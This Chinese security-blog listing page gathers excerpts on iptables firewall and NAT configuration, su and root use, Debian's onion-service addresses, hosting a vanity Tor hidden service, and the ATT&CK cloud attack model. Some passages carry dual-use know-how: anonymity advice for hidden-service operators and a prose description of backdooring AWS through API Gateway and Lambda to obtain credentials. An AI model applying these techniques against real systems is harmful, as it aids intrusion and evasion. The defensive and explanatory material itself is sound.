OUTPUT (policy DROP) target prot opt source destination 七、配置应用程序规则 尽管5.4节已经介绍了如何初步限制除SSH以外的其他连接,但是那是在链默认策略为ACCEPT的情况下实现的,并且没有对输出数据包进行限制。本节在上一节基础上,以SSH和HTTP所使用的端口为例,教大家如何在默认链策略为DROP的情况下,进行防火墙设置。在这里,我们将引进一种新的参数-m state,并检查数据包的状态字段。 1.SSH # 1.允许接收远程主机的SSH请求 iptables -A INPUT -i eth0 -p tcp --dport 22 -m state --state NEW,ESTABLISHED -j ACCEPT # 2.允许发送本地主机的SSH响应 iptables -A OUTPUT -o eth0 -p tcp --sport 22 -m state --state ESTABLISHED -j ACCEPT -m state: 启用状态匹配模块(state matching module) –-state: 状态匹配模块的参数。当SSH客户端第一个数据包到达服务器时,状态字段为NEW;建立连接后数据包的状态字段都是ESTABLISHED –sport 22: sshd监听22端口,同时也通过该端口和客户端建立连接、传送数据。因此对于SSH服务器而言,源端口就是22 –dport 22: ssh客户端程序可以从本机的随机端口与SSH服务器的22端口建立连接。因此对于SSH客户端而言,目的端口就是22 如果服务器也需要使用SSH连接其他远程主机,则还需要增加以下配置: # 1.送出的数据包目的端口为22 iptables -A OUTPUT -o eth0 -p tcp --dport 22 -m state --state NEW,ESTABLISHED -j ACCEPT # 2.接收的数据包源端口为22 iptables -A INPUT -i eth0 -p tcp --sport 22 -m state --state ESTABLISHED -j ACCEPT 2.HTTP HTTP的配置与SSH类似: # 1.允许接收远程主机的HTTP请求 iptables -A INPUT -i eth0 -p tcp --dport 80 -m state --state NEW,ESTABLISHED -j ACCEPT # 1.允许发送本地主机的HTTP响应 iptables -A OUTPUT -o eth0 -p tcp --sport 80 -m state --state ESTABLISHED -j ACCEPT 3.完整的配置 # 1.删除现有规则 iptables -F # 2.配置默认链策略 iptables -P INPUT DROP iptables -P FORWARD DROP iptables -P OUTPUT DROP # 3.允许远程主机进行SSH连接 iptables -A INPUT -i eth0 -p tcp --dport 22 -m state --state NEW,ESTABLISHED -j ACCEPT iptables -A OUTPUT -o eth0 -p tcp --sport 22 -m state --state ESTABLISHED -j ACCEPT # 4.允许本地主机进行SSH连接 iptables -A OUTPUT -o eth0 -p tcp --dport 22 -m state --state NEW,ESTABLISHED -j ACCEPT iptables -A INPUT -i eth0 -p tcp --sport 22 -m state --state ESTABLISHED -j ACCEPT # 5.允许HTTP请求 iptables -A INPUT -i eth0 -p tcp --dport 80 -m state --state NEW,ESTABLISHED -j ACCEPT iptables -A OUTPUT -o eth0 -p tcp --sport 80 -m state --state ESTABLISHED -j ACCEPT 配置转发端口示例 iptables -t nat -I PREROUTING -p tcp --dport 3389 -j DNAT --to 38.X25.X.X02 iptables -t nat -I POSTROUTING -p tcp --dport 3389 -j MASQUERADE NAT规则实战举例: 需求 把本地的mysql 3306端口映射出去变成63306,外面连接的语句是 mysql -uroot -p'password' -h xxxxx -P 63306 注:当访问63306的时候,会自动去请求3306,然后返回数据。 实现 先允许数据包转发 echo 1 >/proc/sys/net/ipv4/ip_forwardsysctl -w net.ipv4.conf.eth0.route_localnet=1sysctl -w net.ipv4.conf.default.route_localnet=1 nat规则 iptables -t nat -A PREROUTING -p tcp -m tcp --dport 63306 -j DNAT --to-destination 127.0.0.1:3306iptables -t nat -A POSTROUTING -p tcp -m tcp --dport 63306 -j SNAT --to-source 127.0.0.1 注:这是允许所有外来的IP访问,慎用。 我们来做个ip限制,限制单个来源IP iptables -t nat -R PREROUTING 4 -s 192.168.40.154 -p tcp -m tcp --dport 63306 -j DNAT --to-destination 127.0.0.1:3306iptables -t nat -R POSTROUTING 4 -s 192.168.40.154 -p tcp -m tcp --dport 63306 -j SNAT --to-source 127.0.0.1 注:这是只给外网的192.168.40.154连接, 其他的都连不上, 修改规则(4代表编号, --line-number可查看对应编号, -s 指定来源IP)。 查看nat规则 iptables -L -t nat --line-number 删除nat规则 iptables -t nat -D POSTROUTING 1-A 追加规则-->iptables -A INPUT-D 删除规则-->iptables -D INPUT 1(编号)-R 修改规则-->iptables -R INPUT 1 -s 192.168.12.0 -j DROP 取代现行规则,顺序不变(1是位置)-I 插入规则-->iptables -I INPUT 1 --dport 80 -j ACCEPT 插入一条规则,原本位置上的规则将会往后移动一个顺位-L 查看规则-->iptables -L INPUT 列出规则链中的所有规则-N 新的规则-->iptables -N allowed 定义新的规 ...

    2021-09-29 495
  • Linux系统中的root用户管理

    超级用户在操作系统管理中的作用 1. 可以对任何文件、目录或进程进行操作 超级用户的操作是在系统最高许可范围内的操作,有些操作就是具有超级权限的root也无法完成。比如/proc目录,/proc是用来反应系统运行的实时状态信息的,因此即便是root也无法对其进行写操作。 2. 对涉及系统全局的系统管理 硬件管理、文件系统管理、用户管理以及涉及的系统全局配置等,如果执行某个指令或工具时,提示无权限,大多是需要超级权限来完成。比如用adduser来添加用户,这跟只能使用通过超级权限的用户来完成。 普通用户授予root权限 1. su指令 su是英文“switch user”的缩写,即切换用户。使用su指令切换到其他用户模式,提示输入密码时,该密码为切换后账户的密码,用法为:su 账户名称 如果后面不加账户时默认为root账户,密码也为超级账户的密码。没有时间限制。 2. su指令使用条件 su指令就是切换用户的工具,当前系统登录为普通用户handuoduo,但要完成添加用户任务,执行useradd指令后,提示普通用户handuoduo没有权限,而这跟权限恰恰由root所拥有。解决的办法有两个: 1)退出handuoduo用户,重新以root用户登录,但这种办法并不是最好的。 2)不退出handuoduo用户,可以用su来切换到root下进行添加用户的工作,等任务完成后再退出root。 我们可以看到当然通过su切换是一种比较好的办法。 通过su可以在用户之间切换,超级权限用户root向普通或虚拟用户切换不需要密码,而普通用户切换到其他任何用户都需要密码验证。 3. su指令用法 su指令常用的选项如下所示: -c, -command  执行相关指令,然后退出所切换到的用户环境 -l, -login  登录并改变到所切换的用户环境。 关于su指令更详细的使用,可以参考man su 4. su指令实例 su指令在不加任何参数,默认为切换到root用户,但没有转到root用户主目录的情况下,也就是说这时虽然是切换为root用户了,但并没有改变root登录环境,即用户默认登录环境。可以在/etc/passwd中查到,包括主目录、shell定义等。 #普通用户切换到root用户$ whoamihanduoduo$ suPassword:$ whoamiroot 在上述代码中,普通用户模式下,直接输入su指令即可切换到root用户,su加参数“-”表示默认切换到root用户,并且改变到root用户的环境。 # 普通用户切换到root用户并改变环境变量$whoamihanduoduo$ suPassword:$ whoamiroot$ echo $PATH/usr/local/bin:/bin:/usr/bin:/usr/local/sbin:/usr/sbin:/sbin:/home/handuoduo/bin$ exitexit$ su -Password:$ whoamiroot$ echo $PATH/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin su 指令加上 “-” 参数,目标用户的环境变量一起被切换,“su 参数 - 用户名”,下面代码和上述实例中的作用相同。 $whoamihanduoduo$ suPassword:$ whoamiroot$ echo $PATH/usr/local/bin:/bin:/usr/bin:/usr/local/sbin:/usr/sbin:/sbin:/home/handuoduo/bin$ exitexit$ su - rootPassword:$ whoamiroot$ echo $PATH/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin “su - root”指令和“su -”功能相同。 5. su 的优缺点 su的确为管理带来方便,通过切换到root下,能完成所有系统管理工具。只要把root的密码交给任何一个普通用户,它都能切换到root来完成所有的系统管理工作。但通过su切换到root后,也有不安全因素,比如系统有10个用户,而且都参与管理。如果这10个用户都涉及超级权限的运用,作为管理员如果让其他用户通过su来切换到超级权限的root,必须把root权限密码都告诉这10个用户;如果这10个用户都有root权限,通过root权限可以做任何事,这在一定程度上就对系统的安全造成了威胁。 “没有不安全的系统,只有不安全的人”,我们不能保证这10个用户都能按正常操作流程来管理系统,这其中任何一个人对系统操作的重大失误,都可能导致系统崩溃或数据损失。所以su工具在多人参与的系统管理中,并不是最好的选择。 总结 su - root 和 su root 指令的区别如下: su指令后面不加用户是默认切换到root; su指令不改变当前变量; “su -”指令组合改变为切换到用户的变量; su指令只能获得root的执行权限,不能获得环境变量; “su -”指令组合是切换到root用户,并获得root用户的环境变量及执行权限。 ...

    2021-09-29 462
  • 物理黑客手把手教你劫持路由器

    制定详细的渗透计划趁管理员不在控制内网权限 ...

    2021-09-29 536
  • Debian项目运行的洋葱服务均已升级v3域名

    Tor项目和Debian项目一直在合作,早在2016年Debian项目为其站点启用了Tor洋葱服务,通过Tor网络提供Debian服务和资料库。 Tor项目和Debian项目一直在合作,早在2016年致力于开发基于Linux的Debian操作系统的Debian项目就已经宣布,其服务和资料库将在Tor网络上提供。这一转变背后的原因是为了加强对Debian Linux用户的匿名性和安全性,其在官方发布了声明: Debian项目和tor项目正在为我们的几个站点启用Tor洋葱服务。现在无需离开 Tor 网络即可访问这些站点,为安全连接到 Debian 和 Tor 提供的资源提供了一个新选项。 当对开源软件的访问受到监控、记录、限制、阻止或禁止时,使用开源软件的自由可能会受到损害。作为一个社区,我们承认用户不应该觉得他们的每一个动作都可以被其他人跟踪或观察到。因此,我们很高兴地宣布,我们已经开始通过洋葱服务提供Debian和Tor提供的多种网络服务。 虽然洋葱服务可用于隐藏提供服务的机器的网络位置,但这不是这里的目标。相反,我们使用洋葱服务,因为它们提供端到端的完整性和机密性,并且它们对洋葱服务端点进行身份验证。 例如,当用户连接到运行在http://sejnfjrq6szgca7v.onion/的洋葱服务时 ,使用Tor Browser支持Tor的浏览器,他们可以确定他们与Debian网站的连接无法被第三方读取或修改方,并且他们正在访问的网站确实是Debian网站。从某种意义上说,这类似于使用https://提供的内容。然而,至关重要的是,洋葱服务不依赖第三方证书颁发机构 (CA)。相反,洋葱服务名称以加密方式验证其加密密钥。 除了Tor和Debian网站之外,Debian FTP和Debian安全档案可从 .onion 地址获得,使Debian用户能够仅使用 Tor 连接来更新他们的系统。 喜欢Debian和Tor的用户,应该查看并使用“Debian项目运行的洋葱服务列表”:在https://onion.debian.org/,近期将所有的Tor洋葱服务均升级为v3版本。这是一份由Tor项目运行的洋葱服务列表。它们中的大多数都是使用OnionBalance从多个个后端提供服务: 10years.debconf.org http://b5tearqs4v4nvbup.onion/ http://spdobp2dcjfg3c56j37y7hmsi6tjauslqvbcgfgvhyuv37yiodphirad.onion/ appstream.debian.org http://5j7saze5byfqccf3.onion/ http://6swc2kxdtxwqku6ieo2bppmehqo3dncdaznvytb37fbsnanlkci3rbid.onion/ backports.debian.org http://6f6ejaiiixypfqaf.onion/ http://ii72bjpditizloapohdkpbepu6pkf7rz2jxgsuwebfcn5q5x6qa3xwqd.onion/ bits.debian.org http://4ypuji3wwrg5zoxm.onion/ http://xpsuwzyljwcmk3vmurhw5ryvi66azdexzdabng5bqu56r6xc35puyeyd.onion/ blends.debian.org http://bcwpy5wca456u7tz.onion/ http://zhpfotmfpypyvahcz52iicir4vpqnhnboixg563yojm2itaiukegamyd.onion/ bootstrap.debian.net http://ihdhoeoovbtgutfm.onion/ http://ha7gnvks566tk7g4fh7lxm3qtb6eadtcycobibw6uwa6g4icaeazcfad.onion/ cdbuilder-logs.debian.org http://uqxc5rgqum7ihsey.onion/ http://etv6ce3pbbxvfoevihlqir2xik27rb4j2l5sqpx7d2unhtpiz3ffiqad.onion/ cdimage-search.debian.org http://4zhlmuhqvjkvspwb.onion/ http://r6ogx3w3s6rg3gxm3kprurn77z2oim665yr5pcxhr76yit4g65y76zad.onion/ d-i.debian.org http://f6syxyjdgzbeacry.onion/ http://7fezvzv4qm7tly43qikg4juagwx4nyy3iwruq2xds5n64jt4j2yyvwad.onion/ ddtp.debian.org http://gkcjzacpobmneucx.onion/ http://iebkxzjscv4jgaucepdbdf4b7bqmcwd5peulm5cbpoavlsnkfhda5gyd.onion/ debaday.debian.net http://ammd7ytxcpeavif2.onion/ http://h34nug3iwqjf2376fmmzdhgqivckzemcujmarlptfqeqtq7vya47yyad.onion/ debconf0.debconf.org http://ynr7muu3263jikep.onion/ http://s36sir2fpydvcpon3bb5oz3jghjqci3mn7z26cza5x5b4il2izrybsqd.onion/ debconf1.debconf.org http://4do6yq4iwstidagh.onion/ http://dywfwwrpxmyaz3cpydemb3k7qw5d5nevat6rpwzqndyj2h2xxf5vibid.onion/ debconf16.debconf.org http://6nhxqcogfcwqzgnm.onion/ http://tjulrdmbhkwzdvborn6r723mdyuqgolctejxm3hze2ygvmagmwei3iad.onion/ debconf17.debconf.org http://hdfcrogj3fayr7wl.onion/ http://knyybdmc4kakd7gs4y6fvshg27t7jud5oiyrmaihijpepxbehcn7svid.onion/ debconf18.debconf.org http://6zwq6bghdyviqf7r.onion/ http://2b5calm3k7sozky46ac65hx3edlmbssogpbg57h2iycolpmjtjwukyyd.onion/ debconf19.debconf.org http://lwk5a5cu3aq6offe.onion/ http://t6unvxtmmjiy6fap4ynahv6ntjdoqice6glvzzdlsohnuhuwa3fojlad.onion/ debconf2.debconf.org http://ugw3zjsayleoamaz.onion/ http://st44cej736t2jpbzaww6vbws6mhs74n5tycyr6b2vuvvreko4yigruqd.onion/ debconf20.debconf.org http://ej2h5u36a2xhinka.onion/ http://tfrconhwbjuq4kkjds55rrzmdxhg5ousbdmwkqjjhsov3dbfhcsjakqd.onion/ debconf3.debconf.org http://zdfsyv3rubuhpql3.onion/ http://ctndhon5ms5qw4zvip4lirgofkgs5f6pmxnloszzssftudzo34rbeyad.onion/ debconf4.debconf.org http://eeblrw5eh2is36az.onion/ http://zqz43hjr4azeovtgr4osgdsok66d7ezawoysxxuyyw4qzia6hdhaosqd.onion/ debconf5.debconf.org http://3m2tlhjsoxws2akz.onion/ http://ibcf6qlyirfnc6vcfuv4y7k6oowwqz4jmcjbrkxov43feyqj6cnyvcqd.onion/ debconf6.debconf.org http://gmi5gld3uk5ozvrv.onion/ http://cunu7dhfzpelt7cxlidw2zcjfe5b65dvsdquf562w5xiraxaqxn4mtid.onion/ debconf7.debconf.org http://465rf3c2oskkqc24.onion/ http://h2zkj5xeycxb2esnyqeabuuo6ui6jlkdb72qjfi2hu3y3h5ilpmjphid.onion/ debdeltas.debian.net http://vral2uljb3ndhhxr.onion/ http://h3zfg7pvbedsteur5ruyvku7p7bvmx3tws7m5uxnes53cu6xaiscubyd.onion/ debug.mirrors.debian.org http://ktqxbqrhg5ai2c7f.onion/ http://3lz3irtzg5i4z2sz3qca3oz3sdk3p5a3xlmz3zqwornapeofvoudajid.onion/ dpl.debian.org http://j73wbfpplklpixbh.onion/ http://6lgapegkgqepaeh7s6mpxv4lvf7awabky7ginkaycfmq7eko66kivcyd.onion/ dsa.debian.org http://f7bphdxlqca3sevt.onion/ http://k2htee64gyxc4zm7ssrd57zz4t5rbm2rhu4cdpfhdh7y4bkmmft7idad.onion/ es.debconf.org http://nwvk3svshonwqfjs.onion/ http://3cgri2x3iidmaearj3aryls7w3e74jo3xxxfh2ym5y4hseit3oqvzxqd.onion/ fr.debconf.org http://ythg247lqkx2gpgx.onion/ http://uvf45xdz72xv7plztdtbc6j32pukihpegtnvdcewczrnv32acmqtamad.onion/ ftp.debian.org http://vwakviie2ienjx6t.onion/ http://2s4yqjx5ul6okpp3f2gaunr2syex5jgbfpfvhxxbbjwnrsvbk5v3qbid.onion/ ftp.ports.debian.org http://nbybwh4atabu6xq3.onion/ http://xa2v5hi4gwrvrhj3awz2v4crufymvjhkx3q25wd3n2bpf5574du4afqd.onion/ incoming.debian.org http://oscbw3h7wrfxqi4m.onion/ http://yhugxzj2ys6livectgptp2ohuqnchtfltetjbkn2jkyersatww2am4yd.onion/ incoming.ports.debian.org http://vyrxto4jsgoxvilf.onion/ http://y63o645rjql7rm3pnw4sarqaoxrhjk3o62vhgqbkgzjouue2i7qybyad.onion/ lintian.debian.org http://ohusanrieoxsxlmh.onion/ http://grqwuipwwfuu5mkyyqfea32kbkvwvxm36hau6bvkzoozchf57moj6yqd.onion/ manpages.debian.org http://pugljpwjhbiagkrn.onion/ http://cuhebenhpxdqskoodifdh5w7dkufya5xwaa3luci7252fc6hwo2dmjid.onion/ media.debconf.org http://ls5v3tzpothur4mv.onion/ http://4ja5brrs4x4qvgquthmjkjykgxbvnfwau7ucgfb3ebclnkl5cpjyw4yd.onion/ metadata.ftp-master.debian.org http://cmgvqnxjoiqthvrc.onion/ http://4inahjbeyrmqzhvqbsgtcmoibz47joueo3f44rgidig6xdzmljue7uyd.onion/ micronews.debian.org http://n7jzk5wpel4tdog2.onion/ http://boowxjehkfc3ip6pnsrtt32s6j252rdzng5rcjhjt7yzh2ieiz5ka4yd.onion/ miniconf10.debconf.org http://tpez4zz5a4civ6ew.onion/ http://2ptpv4mi2xtkcn5vrbga4wpgcm2neksgkawn7bwdfmysek6mqytjcwqd.onion/ mirror-master.debian.org http://kyk55bof3hzdiwrm.onion/ http://3dglwm65senudd7vqyn6wkwpj2wnwp2rfiw4lmbfa7j6as4b5ekix2id.onion/ mozilla.debian.net http://fkbjngvraoici6k7.onion/ http://xbbubmuxby3tdbbhnweg2gchuawism3u2prw5sy2wb5e5ynvv5xcwpqd.onion/ news.debian.net http://tz4732fxpkehod36.onion/ http://hg36q46xemkwvqcod2pfcuwh24aqcpgcbwqibyblu3nt7l562zahatid.onion/ onion.debian.org http://5nca3wxl33tzlzj5.onion/ http://jvgypgbnfyvfopg5msp6nwr2sl2fd6xmnguq35n7rfkw3yungjn2i4yd.onion/ openpgpkey.debian.org http://habaivdfcyamjhkk.onion/ http://nxw6ies7yaoxybxtorhdknuwiynck4xe5hwfg6evmqoxwyk7nn7nriid.onion/ people.debian.org http://hd37oiauf5uoz7gg.onion/ http://x6tkjqr46ghqmlqiwyllf5ufg6ciyexsxxfw2copx7cptw4aszq6fdqd.onion/ planet.debian.org http://gnvweaoe2xzjqldu.onion/ http://3cbzkrvakrpetjjppdwzbzqrlkmzatjs7jbyazap5gwutj32gcltjpqd.onion/ release.debian.org http://6nvqpgx7bih375fx.onion/ http://44w2g3oly2wy6f5q3x5wgdlxj3xqjmd6juhqfp73btzdpue2ujazboyd.onion/ security-team.debian.org http://ynvs3km32u33agwq.onion/ http://juf6ppcps4bxgkoe7wdx5zgv5mwf3bbujzjjoo7dkwpz3vpkkbix3gid.onion/ security.debian.org http://sgvtcaew4bxjd7ln.onion/ http://5ajw6aqf3ep7sijnscdzw77t7xq4xjpsy335yb2wiwgouo7yfxtjlmid.onion/ timeline.debian.net http://qqvyib4j3fz66nuc.onion/ http://ck2b4sppxizlsdj5cuwan6gdiee3fzrw6jlxep7htgy7euxa4m6uukid.onion/ tracker.debian.org http://2qlvvvnhqyda2ahd.onion/ http://7fgb4sq435vg7slw3u7m2ayze3imybpe7qm3htdklreoag3l6n2mtkyd.onion/ wnpp-by-tags.debian.net http://gl3n4wtekbfaubye.onion/ http://prtmu3zoeqh4iefuwda7cbs5mbaelqfrcss5exnyayfcyhybeq3s7ryd.onion/ www.debian.org http://sejnfjrq6szgca7v.onion/ http://5ekxbftvqg26oir5wle3p27ax3wksbxcecnm6oemju7bjra2pn26s3qd.onion/ www.ports.debian.org http://lljrzrimek6if67j.onion/ http://wzmhgtr235jahyxhrpj7wh675vrgouqhpyaecyn6x4r2menefypwyqad.onion/ 使用Debian系统时,通过apt-transport-tor命令可以配置操作系统包安装和更新通过Tor洋葱服务进行,也可以通过以下方式访问Tor上的Debian仓库: deb tor+http://2s4yqjx5ul6okpp3f2gaunr2syex5jgbfpfvhxxbbjwnrsvbk5v3qbid.onion/debian buster main deb tor+http://2s4yqjx5ul6okpp3f2gaunr2syex5jgbfpfvhxxbbjwnrsvbk5v3qbid.onion/debian buster-updates main deb tor+http://5ajw6aqf3ep7sijnscdzw77t7xq4xjpsy335yb2wiwgouo7yfxtjlmid.onion/debian-security buster/updates main #deb tor+http://2s4yqjx5ul6okpp3f2gaunr2syex5jgbfpfvhxxbbjwnrsvbk5v3qbid.onion/debian buster-backports main ...

    2021-08-09 716
  • 使用Vanity .onion地址托管Tor隐藏服

    本文是作为学习资料和关于如何在OpenBSD服务器上设置Tor v3隐藏服务的技术笔记,请勿用于非法用途。 作为”暗网”的一部分,洋葱服务在犯罪之外的许多不同领域都很受欢迎。美国海军研究实验室在20世纪90年代中期开发了洋葱路由协议,以保护美国的在线情报通信。多年来,它得到了进一步的发展,并从DARPA、美国国务院的互联网自由倡议、EFF和其他一些组织获得了大量的资金。Tor项目于2006年作为一个非营利组织成立。在一个审查制度、跟踪、隐私入侵和监视日益增加的世界里,Tor提供了一种保持匿名、访问可能受限制或敏感的内容并提供优质教育材料的方法。 Tor网络 Tor网络由客户端和服务器构建。Tor浏览器使客户端能够访问网络并匿名浏览明网和暗网。隐藏服务是您在Tor网络上访问的具有端到端加密和隐私的站点,其中该服务的所有者也是匿名的。许多当前可用的服务都非常不稳定,而且大多数服务都不会停留很长时间。很少有洋葱服务广为人知,而且往往是出于错误的原因。本文是作为学习资料和关于如何在OpenBSD服务器上设置Tor v3隐藏服务的技术笔记,请勿用于非法用途。 请注意,洋葱服务提供了足够的安全性,以抵御大多数现实生活中的对手,这些对手将试图使你匿名。如果有像政府这样财力雄厚的对手在追求该服务,你将需要增加更多的匿名层,用加密货币购买服务器和带宽进行托管,甚至在你ssh进入你的机器时也要小心,以隐蔽你的入口IP。 生成 Vanity v3隐藏服务洋葱地址 洋葱地址是洋葱服务公钥哈希值的编码。请注意,完全随机的地址以及生成的名称很容易被欺骗,因为访问者点击某个地方的链接可能会被看似正确的 .onion 前缀所欺骗,而无需检查整个地址。我们生成一个自定义的 .onion地址只是为了在地址列表中有一个更容易识别的地址。Tor Onion v3隐藏服务地址遵循torspec/224。 我们正在使用工具mkp224o,它允许使用暴力方法产生一个(部分)定制的vanity .onion地址。我们可以从github克隆源代码并构建它: git clone https://github.com/cathugger/mkp224o.git ./autogen.sh ./configure make 然后,我们用前缀noxim来暴力计算地址,鉴于它只有短短5个字符,这应该需要几秒钟。 mkdir -p keys ./mkp224o -d ./keys noxim noximfcmcizkdxdaryrf56sypldotfz3b2pqdenjkc4zk4t6nmoghwid.onion noximfusrfrcr75ry57pkv2uzqrkvxseluzl54zi2andktjlcoxhxaqd.onion noximugpgjva2sjfsulos3bidudnku2tmiofzsobfzvlt4ffizspqjad.onion noximwc5zsk6jh5jzkiljjtik3tkuue7w7byobvjz6is7tdu4dousfyd.onion noximuifbmzya75bljh2nvu57pbf76bjbwtnrp3ilto753bnbjvgbgyd.onion noximhkcqevri46e2kuthman5o6emplfcevppx3hvsvu55qcygj5elyd.onion ... 其中我使用了最后一个并将其复制到服务器: scp -r keys/noximhkcqevri46e2kuthman5o6emplfcevppx3hvsvu55qcygj5elyd.onion dre@nox.im:~ 有作用的文件: hs_ed25519_public_key hs_ed25519_secret_key hostname 在服务器上,我们将私钥和主机名复制到它的位置以供后续步骤使用: doas mkdir -p /var/tor/hidden_service doas chown -R _tor:_tor /var/tor/ doas cp hostname /var/tor/hidden_service doas cp hs_ed25519_secret_key /var/tor/hidden_service/ doas cp hs_ed25519_public_key /var/tor/hidden_service/ 请注意,如果我们计划保留此服务,我们将要备份此密钥。 设置Tor和隐藏服务 安装tor服务: doas pkg_add tor 编辑/etc/tor/torrc,这里展示grep -v -E '^#|^$' /etc/tor/torrc的输出,所有未注释和非空行: Log notice file /var/log/tor/notices.log RunAsDaemon 1 DataDirectory /var/tor HiddenServiceDir /var/tor/hidden_service/ HiddenServiceVersion 3 HiddenServicePort 80 127.0.0.1:8080 User _tor 我们已经将httpd绑定到端口80,并将洋葱地址重定向到端口8080以正确连接。启动并启用tor服务: rcctl start tor rcctl enable tor 如果它由于权限问题或其他原因没有启动,您可以尝试从命令行运行它以获取可能出错的提示: doas -u _tor /usr/local/bin/tor. 使用httpd在 .onion地址上提供内容 然后我们用另一个服务器部分为我们的隐藏服务v3 .onion地址配置httpd: server "noximhkcqevri46e2kuthman5o6emplfcevppx3hvsvu55qcygj5elyd.onion" { listen on * port 8080 root "/htdocs/nox.im" } 测试配置是否可用doas httpd -n,然后重新启动httpd: doas rcctl restart httpd 现在我们可以通过tor浏览器进行访问,在我们的access.log中,我们将看到虚拟服务器从localhost被请求: noximhkcqevri46e2kuthman5o6emplfcevppx3hvsvu55qcygj5elyd.onion 127.0.0.1 - - [24/Jul/2021:13:56:49 +0000] "GET / HTTP/1.1" 200 4350 ...

    2021-08-09 665
  • 详解云安全攻防模型,这些攻击战略和战术越早知道越好!

    云计算在带来便利的同时,也带来了新的安全技术风险、政策风险和安全合规风险。 那么,如何设计云计算安全架构、如何保障云计算平台的安全合规、如何有效提升安全防护能力是需要研究的重要课题。 本文就先来介绍一下ATT&CK云安全攻击模型。 01ATT&CK定义 ATT&CK(Adversarial Tactics, Techniques, and Common Knowledge)是由MITRE公司在2013年推出的,包含对抗策略、技术和常识,是网络对抗者(通常指黑客)行为的精选知识库和模型,反映了攻击者攻击生命周期的各个阶段,以及已知的攻击目标平台。 ATT&CK根据真实的观察数据来描述和分类对抗行为,将攻击者的攻击行为转换为结构化列表,并以矩阵、结构化威胁信息表达式(Structured Threat Informatione Xpression,STIX)和指标信息的可信自动化交换(Trusted Automatede Xchangeof Indicator Information,TAXII)的形式来表示。 由于此列表全面地呈现了攻击者在攻击网络时所采用的行为,因此它对各种具有进攻性和防御性的度量、表示和其他机制都非常有用。 从视觉角度来看,ATT&CK矩阵按照易于理解的格式将所有已知的战术和技术进行排列。 攻击战术展示在矩阵顶部,每列下面列出了单独的技术。 一个攻击序列至少包含一个技术,并且从左侧(初始访问)向右侧(影响)移动,这样就构建了一个完整的攻击序列。一种战术可能使用多种技术,如攻击者可能同时尝试鱼叉式网络钓鱼攻击中的钓鱼邮件和钓鱼链接。 ATT&CK战术按照逻辑分布在多个矩阵中,并以“初始访问”战术开始,如发送包含恶意附件的鱼叉式网络钓鱼邮件就是该战术下的一项技术。 ATT&CK中的每一种技术都有唯一的ID号码,如技术T1193。矩阵中的下一个战术是“执行”,在该战术下有“用户执行T1204”技术,该技术描述了在用户执行特定操作期间执行的恶意代码。在矩阵后面的阶段中,你将会遇到“提升特权”“横向移动”和“渗透”之类的战术。 攻击者不会使用矩阵顶部所有的12项战术,相反,他们会使用最少数量的战术来实现目标,因为这可以提高效率并且降低被发现的概率。 例如,攻击者使用电子邮件中传递的鱼叉式网络钓鱼链接对CEO行政助理的凭证进行“初始访问”,在获得管理员的凭证后,攻击者将在“发现”阶段寻找远程系统。接下来可能是在Dropbox文件夹中寻找敏感数据,因为管理员对此也有访问权限,因此无须提升权限。最后攻击者通过将文件从Dropbox下载到计算机来完成收集。 02ATT&CK使用场景 在各种日常环境中,ATT&CK都很有价值。当开展防御活动时,可以将ATT&CK分类法作为预判攻击者行为的参考依据。 ATT&CK不仅能为网络防御者提供通用技术库,还能为渗透测试和红队提供基础,即通用语言。 组织可以以多种方式来使用ATT&CK,下面是一些常见的场景。 1. 对抗模拟 ATT&CK可用于创建对抗性模拟场景,对常见对抗技术的防御方案进行测试和验证。 2. 红队/渗透测试活动 攻防双方的渗透测试活动的规划、执行和报告可以使用ATT&CK,为防御者和报告接收者提供一种通用语言。 3. 制定行为分析方案 ATT&CK可用于构建和测试行为分析方案,以检测环境中的对抗行为。 4. 防御差距评估 ATT&CK可以用于以行为为核心的常见对抗模型中,以评估组织内现有防御方案中的工具、监视和缓解措施。 在研究 ATT&CK时,大多数安全团队都倾向于为Enterprise矩阵中的每种技术尝试开发某种检测或预防控制措施。虽然这并不是一个坏主意,但是ATT&CK矩阵中的技术通常可以通过多种方式执行。因此,阻止或检测执行这些技术的一种方法并不一定意味着涵盖了执行该技术的所有可能方法。 由于某种工具阻止了用另一种形式来采用这种技术,而组织机构已经适当地采用了这种技术,这可能会产生一种虚假的安全感。这时,攻击者仍然可以采用其他方式来采用该技术,但防御者却没有任何检测或预防措施。 5. SOC成熟度评估 ATT&CK可作为一种度量,确定SOC在检测、分析和响应入侵方面的有效性。 SOC团队可以参考ATT&CK已检测或未涵盖的技术和战术,这有助于了解防御的优势和劣势并验证缓解和检测控制措施,以便发现配置错误和其他操作问题。 6. 网络威胁情报收集 ATT&CK对网络威胁情报很有用,因为ATT&CK是在用一种标准方式描述对抗行为,是根据攻击者利用的ATT&CK技术和战术来跟踪攻击主体。 这就为防御者提供了一个路线图,以便他们可以对照操作控制措施,针于某些攻击主体查看自己的弱点和优势。针对特定的攻击主体创建ATT&CK导航工具内容,是一种观察环境中攻击主体或团体的优势和劣势的好方法。 ATT&CK还可以为STIX和TAXII 2.0提供内容,从而很容易地将支持这些技术的现有工具纳入其中。 03AWS ATT&CK云模型 随着云计算平台的快速发展,对云基础设施的攻击也显著增加。 2019年AWS针对云攻击推出了AWS ATT&CK云模型,下面针对云攻击模型的攻击战略和战术,以及防护和缓解措施做详细的介绍。 1. 初始访问 攻击者试图进入你的网络。 初始访问是使用各种入口向量在网络中获得其初始立足点的技术。 其用于立足的技术包括针对性的鱼叉式欺骗和利用面向公众的Web服务器上的安全漏洞获得的立足点,例如有效账户和使用外部远程服务等。 攻击者通过利用面向互联网的计算机系统或程序中的弱点,产生破坏行为,这些弱点可能是错误、故障或设计漏洞等。 这些应用程序通常是指网站,但也包括数据库(如SQL)、标准服务(如SMB或SSH),以及具有Internet(因特网)可访问开放套接字的任何其他应用程序,如Web服务器和相关服务。 如果应用程序托管在基于云的基础架构上,则对其使用可能会导致基础实例受到损害,如使对手获得访问云API或利用弱身份和访问管理策略的路径。 对于网站和数据库,OWASP(Open Web Application Security Project,开放式Web应用程序安全性项目)公示的前十大安全漏洞和CWE(Common Weakness Enumeration,常见弱点枚举)排名前25位,突出了最常见的基于Web的漏洞。 2. 执行 执行策略是使攻击者控制的代码在本地或远程系统上执行的技术。 此策略通常与初始访问结合使用,作为获得访问权限后执行代码的手段,以及横向移动以扩展对网络远程系统的访问权限。 有权访问AWS控制台的攻击者可以利用API网关和Lambda创建能够对账户进行更改的后门,那么一组精心设计的命令就会触发Lambda函数返回角色的临时凭证,然后将这些凭证添加到本地AWS 